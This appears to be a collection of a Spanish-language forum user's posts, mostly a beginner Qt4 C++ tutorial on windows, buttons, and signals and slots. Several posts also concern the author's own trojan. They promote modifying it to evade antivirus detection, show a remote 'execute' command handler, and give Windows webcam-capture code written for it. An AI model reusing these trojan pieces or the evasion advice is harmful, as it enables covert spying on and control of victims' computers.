Mensajes

Pues cuanta más gente coja el código fuente y lo mejore mejor!.
El hecho de ser GPL implica que aunque los antivirus reconozcan una versión del server enseguida puede ser modificado volviéndolo de nuevo totalmente indetectable, que todos los fallos que tenga se corrijan con rapidez y que se pueda adaptar a nuevas platafarmas rápidamente!.
Y yo a la vez que todos nos veneficiaremos de cuanta más gente participe.
ES EL ESPÍRITU DEL SOFTWARE LIBRE Y DEL HACKER!

Si, y es lo que más se usa en programación en Qt4 por ejemplo, mi troyano esta hecho en c++

YA CASI ESTÁ AQUI LA VERSIÓN BETA!

Código fuente de un pequeño programita de broma en Qt4 (es que me aburria)

http://qt-apps.org/content/show.php?content=136693

Puede que lanze la aplicación con un PATH distinto...
La verdad que yo uso el QtCreator pero también he tenido problemas de esos y normalmente era por un PATH incorrecto.

SALUDOS

Hola a todos.
Estoy haciendo un pequeño tutorial de programación con las librerias Qt4 que iré poniendo poco a poco en mi blog.
Actualmente ando un poco liado en mi propio proyecto de un troyano y con las clases de DAI pero intentaré hacer por lo menos un post del tutorial a la semana.
Espero que les sirva y perdonad si alguna semana estoy demasiado ocupado como para publicar la nueva entrega
------------------------------------------------------------------------------
Bueno, voy a ir haciendo poco a poco un pequeño curso de programación con las librerias Qt4 ya que parece que hay poco al respecto en español.
Voy a suponer que ya se poseen conocimientos de programación en C++ en general y de programación orientada a objetos.
Lo primero que voy a enseñar es como crear una aplicación simple que mue
stre una ventana.


#include <QtGui/QApplication>
#include <QMainWindow>
int main(int argc, char *argv[])
{
   QApplication app(argc, argv);
   QMainWindow ventana;
   ventana.show();
   return app.exec();

}


Bueno, como veis el código es bastante simple, primero tenemos que incluir la clase QApplication que es la encargada de todo lo referente a nuestra aplicación y la clase QMainWindow que es la que representa la ventana principal de nuestro programa.
Luego en la típica función main declaramos dos objetos:
app de tipo QApplication que será el que contiene las funcionalidades básicas del programa y una ventana principal llamada ventana.

Con ventana.show() le decimos que queremos mostrar la ventana en pantalla y luego
llamamos a app.exec() que es un bucle donde permanecerá la aplicación recibiendo y respondiendo a los eventos del usuario hasta que se le de la orden de cerrar la aplicación, en cuyo caso devolverá el código de salida 0 si todo ha ido bien y saldrá del programa.

Más adelante en próximos post explicaré como incluir botones y el mecanismo de signals y slots típico de la programación en Qt.
Hasta la próxima.
--------------------------------------------------------------------------------
Bueno ya que estaba un poco aburrido hoy voy a continuar con la segunda entrega de mi tutorial de programación en Qt4.
En esta ocasión voy a explicar como añadir botones y hacer que al pulsarlos hagan cosas.
Para añadir un botón a nuestro anterior programa lo primero es incluir un nuevo archivo de cabecera que contiene la clase que maneja nuestro botón, en este caso la clase QPushButton (Nota que todas las clases en Qt empiezan por Q).
Las cabeceras quedarían así:

#include <QtGui/QApplication>
#include <QMainWindow>
#include <QPushButton>


Luego bastará con crear un nuevo objeto de esa clase y para que esté incluido en el formulario le pasaremos una referencia a él.
Esto lo haremos de la siguiente forma:
QPushButton *boton = new QPushButton(&ventana);

Con lo que nuestro código completo que añade un botón a la ventana principal queda asi:
#include <QtGui/QApplication>

#include <QMainWindow>
#include <QPushButton>
int main(int argc, char *argv[])
{
   QApplication a(argc, argv);
   QMainWindow ventana;
   QPushButton *boton = new QPushButton(&ventana);
   ventana.show();
   return a.exec();
}

Si te fijas verás que el botón que hemos incluido no tiene ningún texto, para ponerle un texto usaremos el método
QPushButton::setText([texto que le queramos poner]);
Aprovecho para explicar algo sobre los métodos en Qt.
Los métodos que sirven para establecer parámetros de los objetos normalmente son los mismos que los que se usan para leerlos pero empezando por set.
Ejemplo:
QPushButton::text() nos devolvería el texto del boton y QPushButton::setText([algun texto]); pondría el texto del botón.

Concluyendo nuestro programita anterior quedaría algo mejor de la siguiente forma:


#include <QtGui/QApplication>
#include <QMainWindow>
#include <QPushButton>
int main(int argc, char *argv[])
{
   QApplication a(argc, argv);
   QMainWindow ventana;
   QPushButton *boton = new QPushButton(&ventana);
   boton->setText("Boton de prueba");
   ventana.show();
   return a.exec();
}
Bueno ahora que tenemos un botón querremos que haga algo al pulsarlo ¿no?

En Qt4 la forma de manejar los eventos como pulsación de un botón, rellenar un formulario, etc. se manejan con el sistema de signals y slots.
Esto consiste en que el objeto que recibe la acción (por ejemplo, un botón al ser pulsado), envia una señal (signal) a otro objeto (por ejemplo, la ventana principal), y este objeto receptor tratará esa señal ejecutando uno de sus métodos (slots).
El método que conecta signals y slots es el método connect de la clase QApplication y se usa de la siguiente manera:

QApplication::connect([objeto emisor],SIGNAL([señal]),[objeto receptor],SLOT([método receptor]));

Veamos como haríamos para que, por ejemplo, al pulsar el botón la aplicación se cerrase.

#include <QtGui/QApplication>
#include <QMainWindow>
#include <QPushButton>
int main(int argc, char *argv[])
{
   QApplication a(argc, argv);
   QMainWindow ventana;
   QPushButton *boton = new QPushButton(&ventana);
   boton->setText("Boton de prueba");
   a.connect(boton,SIGNAL(clicked()),&ventana,SLOT(close()));
   ventana.show();
   return a.exec();
}


Como se puede ver en el ejemplo, conectamos la señal clicked() del botón con el slot close() de la ventana principal, lo que hace que al pulsar el botón la aplicación se cierre.

Bueno esto es todo por ahora, en próximas entregas profundizaremos un poco más en el mecanismo de signals y slots.

HASTA LA PRÓXIMA.
-------------------------------------------------------------------------------------------------Bueno, vamos a continuar con el tutorial.
En esta ocasión voy a hablar de como crear signals y slots personalizados para un determinado widget.
Para eso tendremos que crear una clase que herede de la clase a la que queremos añadir signals y/o slots definidos por nosotros donde los declararemos.
Veamos como se hace modificando nuestro programa anterior para que muestre un mensaje emergente al pulsar el botón.

Primero creamos un archivo de cabecera ventanaPrincipal.h y otro archivo ventanaPrincipal.cpp donde implementaremos sus métodos.
El fichero de cabecera quedaria así:

#include <QMainWindow>

class ventanaPrincipal : public QMainWindow
{
   Q_OBJECT
public:
   explicit ventanaPrincipal(QWidget *parent = 0);
   ~ventanaPrincipal();
public slots:
   void mostrarVentanaEmergente();
private:
};

y el fichero cpp asi:

#include <ventanaPrincipal.h>
#include <QMessageBox>
ventanaPrincipal::ventanaPrincipal(QWidget *parent) : QMainWindow(parent)
{

}
ventanaPrincipal::~ventanaPrincipal()
{

}
void ventanaPrincipal::mostrarVentanaEmergente()
{
   QMessageBox mensaje;
   mensaje.setText("Hola mundo!");
   mensaje.show();
}

Como se puede ver en el ejemplo, declaramos una clase ventanaPrincipal que hereda de QMainWindow y en public slots: definimos el lugar donde pondremos nuestros propios slots personalizados.
Los slots se declaran como cualquier método normal de la clase, en nuestro ejemplo he creado el slot mostrarVentanaEmergente() que mostrará una ventana emergente con el texto "Hola mundo!"
Con todo esto nuestro programa principal quedaria así:
#include <QtGui/QApplication>
#include <QMainWindow>
#include <QPushButton>
#include <ventanaPrincipal.h>
int main(int argc, char *argv[])
{
   QApplication a(argc, argv);
   ventanaPrincipal ventana;
   QPushButton *boton = new QPushButton(&ventana);
   boton->setText("Boton de prueba");
   a.connect(boton,SIGNAL(clicked()),&ventana,SLOT(mostrarVentanaEmergente()));
   ventana.show();
   return a.exec();
}
Lo único que hemos hecho es cambiar el tipo de ventana de QMainWindow a nuestra clase personalizada ventanaPrincipal y conectar el botón a nuestro recién creado slot.
Bueno hasta aquí por hoy, en próximas entregas enseñare como crear signals personalizados.
¡HASTA LA PRÓXIMA!
fuente original: http:\\albertopajuelo.blogspot.com
SALUDOS!

Bueno yo utilizo las librerias Qt y ejecuto cosas con QProcess::execute(nombreprograma) pero tampoco me funciona, ¿Puede que todo esto esté relacionado con algún asunto de seguridad en Widnows?

Perdon las librerias que estoy usando son las Qt4 y si es c++, en cuanto a los parametros, el método recibe  correctamente la ruta absoluta del ejecutable en cuestión.

Hola, tengo este simple código en C++ con las librerias Qt4 donde parametros[1] es un QString con la ruta completa del ejecutable que pretendo ejecutar y no me funciona.
¿Que puede estar pasando?

if (parametros[0] == "execute")
   {
       QProcess ejecutar;
       ejecutar.start(parametros[1]);
   }

Hola, me he hecho una pequeña libreria en c++ para la captura de webcam desde mi troyano Qt4, la he hecho usando la API de windows y más adelante haré otra para v4l y asi completar el soporte multiplataforma.
Pero tengo un problema que no se como sulucionar, resulta que despúes de encender la cámara está solo me captura el primer frame y no se actualiza y no se porque. os dejo el código fuente a ver si le podeis hechar un vistazo (Licencia GPL).
#include "webcamwin.h"

HWND hwndVideo; // video capture window
void encender()
{
   ::hwndVideo = capCreateCaptureWin dowA("captura",WS_POPUP,160, 120 ,320, 240,NULL,0);
   capDriverConnect(::hwndVideo,0);
   capPreviewRate(::hwndVideo,100);
   capPreviewScale(::hwndVideo,false);
   capPreview(::hwndVideo,true);
}

void apagar()
{
   capPreview(::hwndVideo,FALSE);
   DestroyWindow(::hwndVideo);
   ::hwndVideo = NULL;
}

QPixmap capturar()
{
   QPixmap imagen;
   capFileSaveDIB(::hwndVideo,L"prueba.bmp");
   imagen.load("prueba.bmp");
   return imagen;
}

Edito:
Bueno ya solucioné el problema cambiando algunas cosas en la llamada a capCreateWindowA... interesados en la libreria la pueden descargar junto al fuente de mi troyano.